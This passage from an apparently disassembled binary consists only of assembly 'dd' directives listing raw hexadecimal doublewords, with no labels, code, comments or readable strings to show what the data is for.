		dd 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h,	96308312h
		dd 0ACFA4A00h, 12B0D4h,	0BC684FB4h, 7678C0CBh, 75C85B3Bh
		dd 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh,	7E265814h
		dd 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h,	68E564E7h
		dd 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h
		dd 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h
		dd 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h,	0F020F21Ch
		dd 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h
		dd 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h
		dd 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh,	0C0C83166h
		dd 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h
		dd 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h
		dd 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh,	2C5FAA70h
		dd 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h,	84222F00h
		dd 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h
		dd 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h
		dd 0A803A47Dh, 6FB02CC1h
		dd 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h,	0F5C5A00h
		dd 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh,	0C04630F8h
		dd 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h
		dd 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh
		dd 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h,	4FDE00E4h
		dd 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h,	4F48D0B8h
		dd 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h, 28068480h
		dd 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh
		dd 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh
		dd 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h
		dd 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h
		dd 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h
		dd 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h
		dd 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah,	44BB18DEh
		dd 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h,	832E2FE9h
		dd 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh,	60897D31h
		dd 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h
		dd 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h
		dd 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch,	7F8B3774h
		dd 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h
		dd 850E0E8Dh, 7EF2C51h,	10AC3C0h, 2100409Ch, 2002B063h
		dd 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh,	57E100E0h
		dd 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah
		dd 0A7A74DBh, 870003ECh, 89195985h, 318DF0h, 831171B5h
		dd 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h
		dd 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h,	51A0BB05h
		dd 2F29A03h, 6EBD8880h,	12D0070h, 85FE4C75h, 8B0F0940h
		dd 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h
		dd 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh,	1A781C03h
		dd 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h
		dd 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h
		dd 0F90CC1h, 8DA5F302h,	3C0377E1h, 535EA400h, 809C5088h
		dd 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h,	64E402A9h
		dd 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h,	0E8C1C200h
		dd 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh
		dd 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h,	9D7401FBh
		dd 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh
		dd 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh,	0B8E20200h
		dd 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h
		dd 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h,	29F016h
		dd 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h,	107AD8h
		dd 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h,	0A49900DBh
		dd 62F759A2h, 802501ECh, 0F0F475h, 5653C543h, 6500028Ah
		dd 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh,	0D28B57E0h
		dd 83659839h, 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h
		dd 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h,	3F7C0F63h
		dd 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h
		dd 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h
		dd 4A2D06E7h, 710E892h,	0D9141C0Ah, 0FEEBF0C1h,	8500BA24h
		dd 0A4506544h, 735B483Dh, 100400C2h, 61022F11h,	0B81F0875h
		dd 0C402201h, 32BF54Bh,	1C9300C3h, 0B715588Dh, 0AC005051h
		dd 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h,	9400DB30h
		dd 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h,	0E1468961h
		dd 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh, 0D8583329h
		dd 0B8C6366Fh, 9B4FAC00h, 3899447Ch, 0E9F826h, 9D59CB3Bh
		dd 907283B0h, 0DF58141Eh, 6CF3DA80h, 0DD86ACh, 9376A39Bh
		dd 0CDFBC7AEh, 6400BD72h, 0FA3348ADh, 28A2C8B6h, 0E6A5C63Fh
		dd 0FC8B0F71h, 0D9607389h, 63242296h, 31076700h, 1C105768h
		dd 9EB007Bh, 3EFE5461h,	0F100D08Eh, 73E0FC7Fh, 0E75EE3h
		dd 589A0A8Bh, 0A67EABF6h, 28C9F800h, 47C333D0h,	1A370009h
		dd 0BFC8538Ch, 1EEE24E4h, 72415A00h, 0F97EC44Dh, 17890015h
		dd 0B526B2B9h, 4A0686ECh, 0AB1E3C78h, 0E4EAEAh,	6CE7A8Bh
		dd 0A8096BADh, 0FC40A900h, 67D247AAh, 945B00E9h, 69EB9AA2h
		dd 0A60314DCh, 48380B3Fh, 0AAC59928h, 3531ECh, 598FD92h
		dd 83F47E8Dh, 46F55B00h, 1EE0BD7Bh, 0F7B6005Dh,	317AC360h
		dd 0AE006225h, 0B2CF5111h, 1EB7E15Ah, 40194D0Ch, 44EEF035h
		dd 6D392A69h, 0F79C9C3Fh, 97889940h, 27E35Dh, 415C20C0h
		dd 5FAE639h, 65D30F00h,	0BA33CD3Bh, 67550080h, 7B0917B1h
		dd 390369E0h, 0FC6C2AF2h, 0E15B88A9h, 959D00EFh, 8D2D3418h
		dd 200D91Bh, 0E13E80Bh,	0E9473Ah, 0BCBB4A0Ch, 0DE1F8D76h
		dd 1591600h, 422E6331h,	0CC5200CEh, 4E47248Bh, 5407189Eh
		dd 0F2209564h, 0E04F9980h, 0CE9B0636h, 0DC19F1D2h, 46066A00h
		dd 43502180h, 0A38A00EEh, 61419C66h, 541CE5E4h,	120F4AF0h
		dd 202E6ED2h, 2432C633h, 8D500CCh, 40FA631Eh, 54392CDBh
		dd 0EFE20F7Ah, 9864A0D2h, 0B4B53h, 2FFDA047h, 806D865Ch
		dd 5626F800h, 55C91413h, 0B9270063h, 908DAC29h,	0F90E4296h
		dd 0E2D8E3E4h, 40E81C4Eh, 389EAE7Fh, 0F5800F9Bh, 0F65E9101h
		dd 560F58A6h, 6ED46646h, 0A061035Bh, 0BD20802Eh, 9BEA25h
		dd 6E648401h, 81ECC3E4h, 0BC781600h, 30BAB5ADh,	3ECC03C1h
		dd 75565017h, 86A5B1A8h, 2228C200h, 9414D5E4h, 96C33DCAh
		dd 2D66F680h, 64F6267h,	57D27A00h, 5E72C52Bh, 6098BBh
		dd 9EBCD761h, 0E53FF147h, 9EA2EF3Ch, 9947749Bh,	0CAC0A143h
		dd 1C7C1F83h, 40C8E56Dh, 7E22FDB3h, 40765D1h, 0D440E0C0h
		dd 0EA2BE9D0h, 0CD2E004Bh, 684D11FEh, 0EE0046BCh, 0F443D61Ch
		dd 0E731D2h, 0CF0FF06Dh, 0EB483BC4h, 0F8A5F107h, 3660994Bh
		dd 2A6020h, 0D9F057B1h,	0E265355Ah, 1BE46300h, 2CE544A8h
		dd 0BE93004Dh, 6DCF7AFDh, 83017FB2h, 4791696Ah,	9DE89B4Ch
		dd 0BFF9004Fh, 1A15B9Fh, 8D003CF8h, 8F36BAADh, 2CE30Bh
		dd 0ECC4E545h, 6D88F2C9h, 980E1A7Fh, 80476E0Ah,	36F40107h
		dd 16FE00EAh, 589D790Dh, 97005F4Dh, 83CDF714h, 0A5D1F1h
		dd 0EE6296C2h, 0ACA43A0Fh, 3B5FCE0Fh, 4C0A805Ch, 34B8A8h
		dd 5740225Ah, 48ACFBBBh, 0A62C8928h, 0E682600h,	4FDCAB77h
		dd 97ED0018h, 3E44D13h,	94384220h, 80DFB8F0h, 0C889110Eh
		dd 7A97BBh, 4746A41Ah, 15FC9877h, 86794500h, 0F744F88Ch
		dd 81B4019Eh, 2C8B941Dh, 4BEDD824h, 0C30F4F94h,	60EC6655h
		dd 0EE34B008h, 0FC0C047Dh, 808A80B2h, 470788AEh, 75D2020Fh
		dd 52164F05h, 0EF73A705h, 2B4A0B28h, 840DC033h,	0B1D6830Fh
		dd 130F5C3Fh, 0F10BC057h, 6B200674h, 6207F8F8h,	0A0EBBD5Fh
		dd 3E9DA0C2h, 83EA7283h, 28C2EFE8h, 4320B4B9h, 8B56C0C9h
		dd 3F52BF7h, 0E95EA4F3h, 205FF58h, 8E0C148h, 0E88BB245h
		dd 3D38316Bh, 73367D31h, 50E901Ah, 410E287Eh, 22F04240h
		dd 0F8830718h, 5203777Fh, 15BB02C1h, 33A358ECh,	0E8C000C9h
		dd 83127401h, 0B6D502D1h
		dd 0FEE7C41Ch, 12725D0Fh, 860FAB26h, 8C20461h, 2FC279E1h
		dd 0F8BAF410h, 0D58273FEh, 0B8BD388Eh, 4769561Fh, 0E6617574h
		dd 6F2B1641h, 461D0D63h, 0C6B659Ch, 6F1D501Fh, 70633DFFh
		dd 6978451Fh, 73F1F5E2h, 7545A7C6h, 434C8C8Dh, 6129C74Dh
		dd 0F0FEF967h, 771E411Ch, 697270C0h, 0C766746Eh, 0E04F4C14h
		dd 20524544h, 0F63C06DDh, 683D54E0h, 3E702865h,	0B8756437h
		dd 0E3429BAFh, 0DF207F79h, 73250F53h, 0AE3263EFh, 5FEFD316h
		dd 38625A8Ch, 0E26187A6h, 0F7381EDBh, 79E56B7Dh, 0E36DFBE3h
		dd 202E6663h, 623F0B6Bh, 68756D72h, 0EB6F5153h,	0A22C5164h
		dd 43751E95h, 0C19012AFh, 0D219C41Ch, 8A14E509h, 4702D918h
		dd 41F199FEh, 0F56AFFFBh, 0A17F23CDh, 5AD2BF8Fh, 46BEA6B1h
		dd 4C2741B1h, 4AD7EF6Fh, 0DAF34F53h, 0A9B433B3h, 6F4BA7A4h
		dd 30F500h, 1, 5D91h, 0A0571F1Bh, 0BD4DD6Fh, 0FBC67CD2h
		dd 9D24515Ch, 28D91986h, 7C38E350h, 0A049873Eh,	0D40862D4h
		dd 0EF630E42h, 0A7D7D99Dh, 8B8404A4h, 6F7E8F4h,	0FC5F6DC2h
		dd 0F293FCC2h, 2935B5FAh, 0B747439Eh, 3F5EB7A5h, 4E833BCAh
		dd 0B5A32A2Ah, 9DA4400Ch, 73202C5Ah, 80895652h,	0F025656Dh
		dd 9385BFC9h, 0D6CEC96h, 435B06B9h, 0A1998FBEh,	2DA8BF53h
		dd 1756B3C2h, 43B534F7h, 0DF909BE4h, 0A3C4A9C5h, 0A768A3A9h
		dd 0F38DFA0Fh, 42E376B3h, 7B274500h, 0E804A5B5h, 25052EF3h
		dd 5F76B4ECh, 639E2A51h, 17DB5D52h, 3DBC9474h, 15B09777h
		dd 1C95E26Eh, 87D7BD6Eh, 5CAD3C36h, 0B9B1171Eh,	0F40AD23Eh
		dd 0B7D79B0Bh, 74003602h, 0EA0B7B76h, 0AA1F6925h, 6FC51B14h
		dd 101B0561h, 0F099A9F2h, 5E388E49h, 6FC58642h,	1E985B4Dh
		dd 99CC2A73h, 0F3459ACh, 2B4AFD4Fh, 19A0261Bh, 8C059A48h
		dd 0EDEB5F21h, 0A26BB49Eh, 0B96A0CF7h, 30750351h, 0CF005BCCh
		dd 36E82E8Ah, 35DF92B4h, 82ADBC9Ah, 9F2B13D5h, 0CECA8C43h
		dd 7155D934h, 2CCFC0BCh, 25105759h, 0F0D7F9C6h,	2130F4A4h
		dd 86DFEB9Dh, 12AB37A5h, 23874F88h, 0C81CAF7Ch,	0B2BBA94Fh
		dd 521F2458h, 1ACB8934h, 7CFD54F7h, 0AB0C03C0h,	1A8B04B7h
		dd 486ED3F7h, 8CBA765Fh, 7B2CAEE6h, 0FF02A6C7h,	7CDDEC56h
		dd 0AD4D99A6h, 1F03E9AAh, 0BC79135Eh, 0A8BAEA88h, 0E66F9DC0h
		dd 37481F4Ah, 0CF0173A9h, 0D72DE1A9h, 4F306B19h, 0CE2EC688h
		dd 66ABC5FBh, 0AE24965Fh, 6938679Fh, 4B2288B6h,	2FC20CD9h
		dd 7A43444Eh, 2261AE18h, 0E85C5B55h, 0E2FEE580h, 47B741DFh
		dd 0F1312948h, 32298FDCh, 888C4ABAh, 7E010D39h,	85C49A3h
		dd 134D0508h, 6450E448h, 0B28BF816h, 0B42DFACAh, 0ACF188BCh
		dd 0D315EE02h, 0E03991BDh, 0DD6018B4h, 0F0A7B092h, 0D2E40721h
		dd 0C1E34A70h, 6E68364h, 19A211E2h, 66BB7818h, 70BE4AC9h
		dd 5FF95E21h, 0EE37204Ch, 0B5017CE7h, 0D806073Eh, 0C85A47EAh
		dd 3DCA8CAAh, 0FF8409FBh, 0A97B36Eh, 3C21CF98h,	785B8249h
		dd 0D68EE33Dh, 0FA1FE345h, 0EAE147DCh, 532FAFh,	0B1A45C7Ah
		dd 189B110Ah, 0E79C7090h, 0E4338C43h, 0D964E6C2h, 8F1FF078h
		dd 4187337Dh, 48764213h, 0D7339865h, 39963636h,	0E1834ACCh
		dd 0F5C802F5h, 46741C2Ch, 0A0ED38DCh, 2C459D95h, 4125B986h
		dd 9CBCEA56h, 3D98762Ch, 8758DC5Dh, 9FEB8B36h, 6ECED5C3h
		dd 6DC1F3ABh, 0D5E43B76h, 0FCC59B27h, 7A0BF87Ch, 0D496FBF8h
		dd 0DE4D1A0Ah, 0C24A0F04h, 0A9F814EBh, 0EA87C5E4h, 5B9ECDE9h
		dd 0B90470F2h, 0BA67292Eh, 43859FA5h, 78A8C6ECh, 5B42F9Bh
		dd 0CB992B43h, 51DC66C9h, 187ACBE9h, 3FA8FF4Ch,	0C3B6A099h
		dd 2796F525h, 8DD35C74h, 52157881h, 9DA81619h, 2B1A18B0h
		dd 53ABD488h, 0BE232655h, 0F7520F59h, 0EFD9B644h, 0CD87D4D0h
		dd 814501E6h, 3630A5DFh, 0A2D04ECBh, 9BF5ADB2h,	0D09BF101h
		dd 85163717h, 0C491A231h, 4BB7C404h, 0B116344Fh, 0B042D556h
		dd 0C8D68797h, 99F11E83h, 5570F3EBh, 5A8EE213h,	76483734h
		dd 3D5530BCh, 0F839E793h, 0CBB4D79Eh, 81BC1ECDh, 0EDDE6ACEh
		dd 1449E0A0h, 428012B5h, 0E82641EAh, 54039223h,	0E97F7A9Ch
		dd 236522A4h, 0D55F845Eh, 0DAAF8FEAh, 566D7C29h, 0F1757EAh
		dd 3B3E31B0h, 9C6ED81h,	1DC0075Fh, 93DF9310h, 75EA59E9h
		dd 5224E647h, 1D022BC8h, 88D7066Ch, 51098B5h, 8CD5617Ch
		dd 60C158C8h, 73A466FFh, 6726D4BDh, 0CA0B926Eh,	0AA8FB945h
		dd 0B4C41EE0h, 3778E97h, 755E32B8h, 0DDEBA248h,	0DC60E961h
		dd 0CBC5B9AEh, 937E451Bh, 14B08B48h, 9C3796E5h,	0CECEC2A2h
		dd 99E5F3D5h, 0D1E65D9Bh, 0A305846Fh, 0A8FCFE8Bh, 3A204F7Dh
		dd 5561CA1Fh, 8C66D634h, 8FCFBD93h, 0BBB6AC07h,	0A97AEC3Fh
		dd 0B1F5C6CDh, 98F0F3C9h, 0F2F44311h, 7FA82938h, 7E9408B5h
		dd 8A1F267Ah, 0B427AC3Eh, 58226693h, 7277017h, 9F7EC931h
		dd 0BC556B08h, 424BF838h, 93F50CA4h, 0F2F2E7DEh, 29279CCBh
		dd 0A40F6883h, 793F380Fh, 5DEDD40Eh, 3CC80F40h,	7791B1C5h
		dd 3FBCBF30h, 638E35F7h, 160F8231h, 4EDA45CFh, 45477222h
		dd 87624471h, 8F27B41Ch, 8C5350F9h, 0B5975A2h, 401210BAh
		dd 85D403D8h, 4F87DCB8h, 3E57872Bh, 710B9B06h, 0B2CA2D86h
		dd 0DE395BDBh, 288C09B2h, 59F9301Fh, 0F6C9F455h, 3EE65EF6h
		dd 2245BE77h, 0DE19378Fh, 8A87A7A1h, 0C44CC5B2h, 5D289DEBh
		dd 0BC2C7BA7h, 0E5226FAh, 95F98896h, 36656FACh,	0BF80CFDEh
		dd 0D3CC78D4h, 0B494CC97h, 46ED4277h, 11D8040Dh, 0AC57B8C1h
		dd 9133ADDh, 0EB37841Fh, 0C816C642h, 93C7BE93h,	5E9DE8E7h
		dd 546B3920h, 644326D0h, 7160ADE9h, 3258FF8Dh, 3B99A8ECh
		dd 69BC6026h, 0C598C1EFh, 37E918A9h, 0B55E23BCh, 10FDD56h
		dd 2977E3BDh, 8F3CCB39h, 0A4C9ADA0h, 6376F94h, 92527023h
		dd 81ECA150h, 368C4291h, 0F5A2D3CAh, 5E78CB4Bh,	0DF4A23Fh
		dd 73471D3Eh, 6E77E167h, 0DFDAFBCCh, 46E5A4ECh,	8E5A6AA5h
		dd 0AD2F4138h, 0DB5253BBh, 3BDE8C33h, 5CF2C928h, 2DD43D8h
		dd 0B24B31C7h, 1AFE3777h, 8F6106ACh, 0C201DCD0h, 0FB4F15CDh
		dd 0E1723664h, 0C4FFB6C0h, 72C4AEB9h, 0E1F9D7F8h, 20446DF1h
		dd 0D1FACB10h, 997FFB83h, 92E8917Ch, 9D37601Dh,	866189D6h
		dd 2408DE28h, 393D51A0h, 0A59D94A4h, 0F4DCE892h, 1100F59Dh
		dd 1D3493FBh, 0BDCCD10Fh, 8180DB79h, 17D5AA7Ch,	838E652Eh
		dd 0E3EE75E0h, 83261ECh, 0FA6A1225h, 6E07A9D0h,	0EC01ECBBh
		dd 71C2C45Dh, 0C7A2E8Ch, 51F15DE4h, 0FD85C461h,	5F164DAh
		dd 0D18B44ABh, 751183B0h, 9902B507h, 0A034B27Dh, 0C0A3E8B5h
		dd 57E382C7h, 246962BFh, 4D1DB540h, 8F686A0Ah, 0C2CF5A86h
		dd 0AFF49566h, 26B2CAA3h, 0E0204319h, 0CD648661h, 8DAFBB85h
		dd 92DD9FB9h, 0E399473Ah, 1528A63Fh, 297C3B88h,	488009D4h
		dd 18DA8E5Dh, 29F2D302h, 309B93F9h, 0F9447535h,	5B8DC4AEh
		dd 0BD7A7007h, 0A0D76EF8h, 0A9664F16h, 0C017C387h, 9855A8h
		dd 26538C3Ch, 0DB6CEDB9h, 0EDDD7172h, 0B0B16291h, 77A28832h
		dd 0F3945ACEh, 0A3DAF77Ah, 22D976E8h, 0D9F21316h, 0BD4675A5h
		dd 0A2BED2F9h, 6923C328h, 0C49F25C3h, 8BD73BD6h, 5D19830h
		dd 0E6784B0h, 357D49D5h, 0A5C0D8D5h, 0DC966B64h, 0A3EB4901h
		dd 6EEC4CAFh, 0F3526BCDh, 3ECD4DEEh, 0F1A4E7C1h, 0D2018F75h
		dd 0AC3A291Ah, 0EFD4961Ah, 96CBDBB0h, 82A11172h, 0EF1E6DBFh
		dd 0CAE18696h
		dd 5CC7271Bh, 0C9251C3Dh, 882A2DD2h, 474CE92h, 0F883838Eh
		dd 2F5FF152h, 0D462AE04h, 6B684D91h, 2739A765h,	9203F96Eh
		dd 3C30C4DBh, 5D599970h, 0DA179AC3h, 9F75B28Ah,	0C57F6D51h
		dd 0DF1B3AB2h, 0CADBB2A9h, 0CC29A946h, 0DC97B80Fh, 3742A114h
		dd 0C69B5087h, 0E94CE64Bh, 0D433BD29h, 0E2DF54E1h, 0E626C804h
		dd 0A51ED65Bh, 1700F3B6h, 2CA1255h, 280B8570h, 25BB9B44h
		dd 0BFEC36E5h, 60AA423Bh, 230B5759h, 9C4B0F3Dh,	2E1470ACh
		dd 0AEBFD0B4h, 188651D8h, 0ECFF4376h, 71ED12Eh,	0F4EE0730h
		dd 0B2628025h, 0A506B335h, 9301F08Eh, 92033937h, 0DBB35E56h
		dd 42824218h, 19ED4491h, 407DF366h, 9066139Dh, 28BBDFFFh
		dd 5110451h, 5EAE6732h,	0E4E1AA9Eh, 370933DDh, 0EDAED5C0h
		dd 80E47E69h, 0D35CEBB8h, 1D5418E7h, 0B0486415h, 5D6BD67Fh
		dd 8A160F75h, 0C53324C8h, 0D0169201h, 31DF8307h, 4C4A5C5Ch
		dd 2564F923h, 6516577h,	8E09EF6Bh, 0C15975D2h, 5B7F7251h
		dd 0B9137D0Bh, 0E5FE0367h, 17F6EEDFh, 6555B2E1h, 0B39C4934h
		dd 88565C39h, 4E98AE5Bh, 0A41EACA9h, 11DA1024h,	9F643A11h
		dd 4E90FD7h, 3B1EF178h,	676D7ABEh, 3F21E427h, 55DF59F8h
		dd 0C3C213C5h, 0D7E6390Ah, 0BE20139Bh, 86840786h, 0D239B801h
		dd 0F765AD8Dh, 87544025h, 7F8C0A75h, 54469B35h,	0EA058050h
		dd 0F5EB72BFh, 538B31FBh, 0DFCF85AFh, 3358E0B1h, 94F8CD0Eh
		dd 18FC814Ch, 7F5BE5B6h, 72B33C3Fh, 8A660087h, 0B839DF6Fh
		dd 2849E4Fh, 56B460BAh,	0C7BC22EEh, 0BE8F3F45h,	0D26513DAh
		dd 0D07D06EDh, 84924986h, 0C5F2097Dh, 508C58FFh, 36E5648Ch
		dd 4D03775h, 0C9419A22h, 898A191Bh, 4457C146h, 0EAC2B4EAh
		dd 647AA56Ch, 0C9BD85DEh, 0F4AB6F8Fh, 0DD0F5AE4h, 59B5A2D7h
		dd 8B242F8h, 8152CE1Bh,	7FA5FC09h, 64C02C3Fh, 440BD59Ch
		dd 62F2750Ch, 0EB814915h, 0C42C609h, 9EDF27C2h,	0DE5B1AFh
		dd 9475B9F5h, 0B034DF0Fh, 37DA6h, 7B45F7C8h, 235892ACh
		dd 94F435A4h, 0B7BD5DF1h, 0CE51C690h, 4758C4C2h, 3745233Dh
		dd 6F216930h, 242864C4h, 93858F7h, 24ECEE78h, 28FD18EEh
		dd 6A2CE268h, 56334E17h, 0E9C91CD6h, 0D20CAC57h, 0F923EDDAh
		dd 0AE129ADEh, 0E873A9D2h, 86727C7Bh, 54A2827Eh, 8924CA33h
		dd 8956BFEFh, 0C8DFC56Bh, 0D0EA2A85h, 48A8F1A7h, 7661478Ch
		dd 0E55DC60Ah, 895B93A2h, 0F86DE76Eh, 4FFF2462h, 0E03723BCh
		dd 0C927EEE4h, 1E5F58AEh, 719E6738h, 5678AC6Fh,	6B6B1440h
		dd 257DAAAEh, 0F5BCC97Fh, 0B271C41Eh, 7727C69Ch, 0E6361F98h
		dd 5F3DE4DEh, 0C7C27C5Dh, 9C763391h, 89295AE1h,	0FCB326FBh
		dd 648526C2h, 332C6797h, 9CB3053Ch, 0F960EC5Dh,	41E58DE1h
		dd 507F84DEh, 8524098Ch, 62198653h, 0FCF5209Bh,	6AAE7E68h
		dd 60F1C696h, 0FF0CB753h, 737CC615h, 1B492A4Dh,	0B6FDD0FCh
		dd 78C70307h, 0BAE4031h, 0B2B69F59h, 3CFFD761h,	8D44A98h
		dd 10C8DE85h, 32B809Dh,	6480B214h, 0CFE14FABh, 172C10C2h
		dd 0A15645Bh, 6724E7B8h, 0FCBCC6DCh, 0C402D4FFh, 9E23B83Fh
		dd 0BD4805E1h, 9946FA57h, 4FDCC083h, 748211CBh,	0BF6D8673h
		dd 3FCC466Bh, 2C96C41Ah, 0E41F95Eh, 0D468104Eh,	2A6BAB78h
		dd 0B7D827ABh, 9433CED7h, 0F606DA3h, 0E44A3218h, 4E803A87h
		dd 65C33BC1h, 0DE699BE5h, 0DC7DA917h, 0EC5F6FEFh, 0F0249B5Fh
		dd 4EA1B786h, 46C67CCAh, 1EA0EE5Ah, 0E322E8EDh,	0D7FC8A5Eh
		dd 59F2FC20h, 1121C7C9h, 1B9870ACh, 0AB5370CFh,	224C23D3h
		dd 9F6C7D78h, 86ADA35Dh, 0D1928BC3h, 33BFD092h,	0C88B2A5Dh
		dd 0DC2887E8h, 0E3EF4CAh, 0EFB5C421h, 0EFC5EF83h, 66A4C7A7h
		dd 0A66045C5h, 52301445h, 92492FEAh, 68CA4767h,	1237721h
		dd 0E18CE38Dh, 60CDFA76h, 0FFCA829Dh, 794D5D1Bh, 3EF287E3h
		dd 8CC4EE3Eh, 8E6F72F3h, 0B89FF3D4h, 0DAA019A5h, 2AA448DEh
		dd 7D58C8EFh, 56AC8167h, 87880B41h, 2DFDF9BAh, 0F403E298h
		dd 8D2C3529h, 0C2BFA819h, 8DA327CBh, 69F27C8Bh,	4214460Fh
		dd 0D8A92EE8h, 7380A487h, 5DA65CE4h, 835F7266h,	3F27E5F0h
		dd 9B24C7D6h, 8C983FBh,	4E2647E6h, 0C64C8741h, 0B6DE9628h
		dd 45B068AFh, 17C3963Ah, 8ACDF629h, 0D1976A6Ah,	1629E5A3h
		dd 5A86BD7Ch, 7C85DA97h, 7997D187h, 70BC0A28h, 21F36385h
		dd 2F6392EDh, 1D3CA969h, 86290959h, 0CC34EF2Bh,	6CA14539h
		dd 7968E656h, 0FE50BEA8h, 0B458D94Ah, 55101A3Ah, 4CE10441h
		dd 96166EB7h, 9837763Ch, 0E776FE01h, 0C0B3287h,	4B82A59Ch
		dd 9667B2h, 6FA91605h, 0EAC4C0FBh, 0E259D27Fh, 0D8A5079Dh
		dd 29C9995h, 0D52F1275h, 5947C8F3h, 0A8E7791h, 0B8FD38A1h
		dd 37E32C4Ch, 1DFE93C5h, 53DE3A14h, 504B4AC1h, 0BA67AEDAh
		dd 0DC8C2126h, 0FFA230B0h, 8F746ED4h, 0AFB3DF9Ah, 0F083A2B7h
		dd 7EA60C05h, 46BC0250h, 33EAA435h, 3972B59Dh, 38C2D7Dh
		dd 335C3F26h, 6CD5F434h, 0EA9E9ACAh, 0FB260992h, 0D07EC9D9h
		dd 8C1B0438h, 0ACE7B1E6h, 34B388C9h, 2EAAB597h,	90E68933h
		dd 724B9D26h, 624F069Bh, 17195C0Bh, 4308C930h, 3E990D3h
		dd 73622EBBh, 0C2003E30h, 0E164C22Fh, 0A4B97E86h, 60AB622Eh
		dd 5404BE4Eh, 0B464E312h, 62916BA9h, 875E714Fh,	9303C7A0h
		dd 0B68E4718h, 31FDDF70h, 6DABF384h, 6F3CD82Eh,	0F909968Fh
		dd 1C3D8664h, 9397484h,	4BC2027Ah, 14A4F2A1h, 0BED0B218h
		dd 0ED90CC29h, 423FA62Fh, 0E6ED3B1Bh, 0D24E95F7h, 2F90204Ah
		dd 6C881D5Fh, 5188ACBAh, 0A5BEA4C5h, 798DD0DFh,	2D5AEAA7h
		dd 5FBFEFBAh, 2CB40019h, 30EF6D3Bh, 8C44C3B1h, 1E0F76E1h
		dd 89AF7BA8h, 0B991A7E2h, 399983Eh, 73BBCC3Ah, 0E6528E07h
		dd 0F71F5F5Fh, 0D0EA8041h, 0C77FB281h, 0F9BAE892h, 6D48878Eh
		dd 0A4A4D78Dh, 45BEAEC5h, 10AFF3FBh, 3224BFA5h,	68329E3Bh
		dd 31E575A2h, 0ECC8AD4Dh, 386CED64h, 5FAEEE2Ch,	5FF9E5A2h
		dd 40A699F1h, 9C5154C7h, 200FD230h, 2CAEB77Dh, 22172C43h
		dd 0C9C275D3h, 0D51AB04Eh, 7533557Ch, 0D92B04C5h, 1EA0587Eh
		dd 0C7E82FC2h, 178A4088h, 0CDD15A48h, 0AC72982Ch, 5F2F38C5h
		dd 75179E0Fh, 387D1EB8h, 0D93C32E8h, 84E840A7h,	1EBE891Ah
		dd 1210E942h, 3F4EBCFEh, 6CA361AEh, 4EA052BAh, 0D1CEC670h
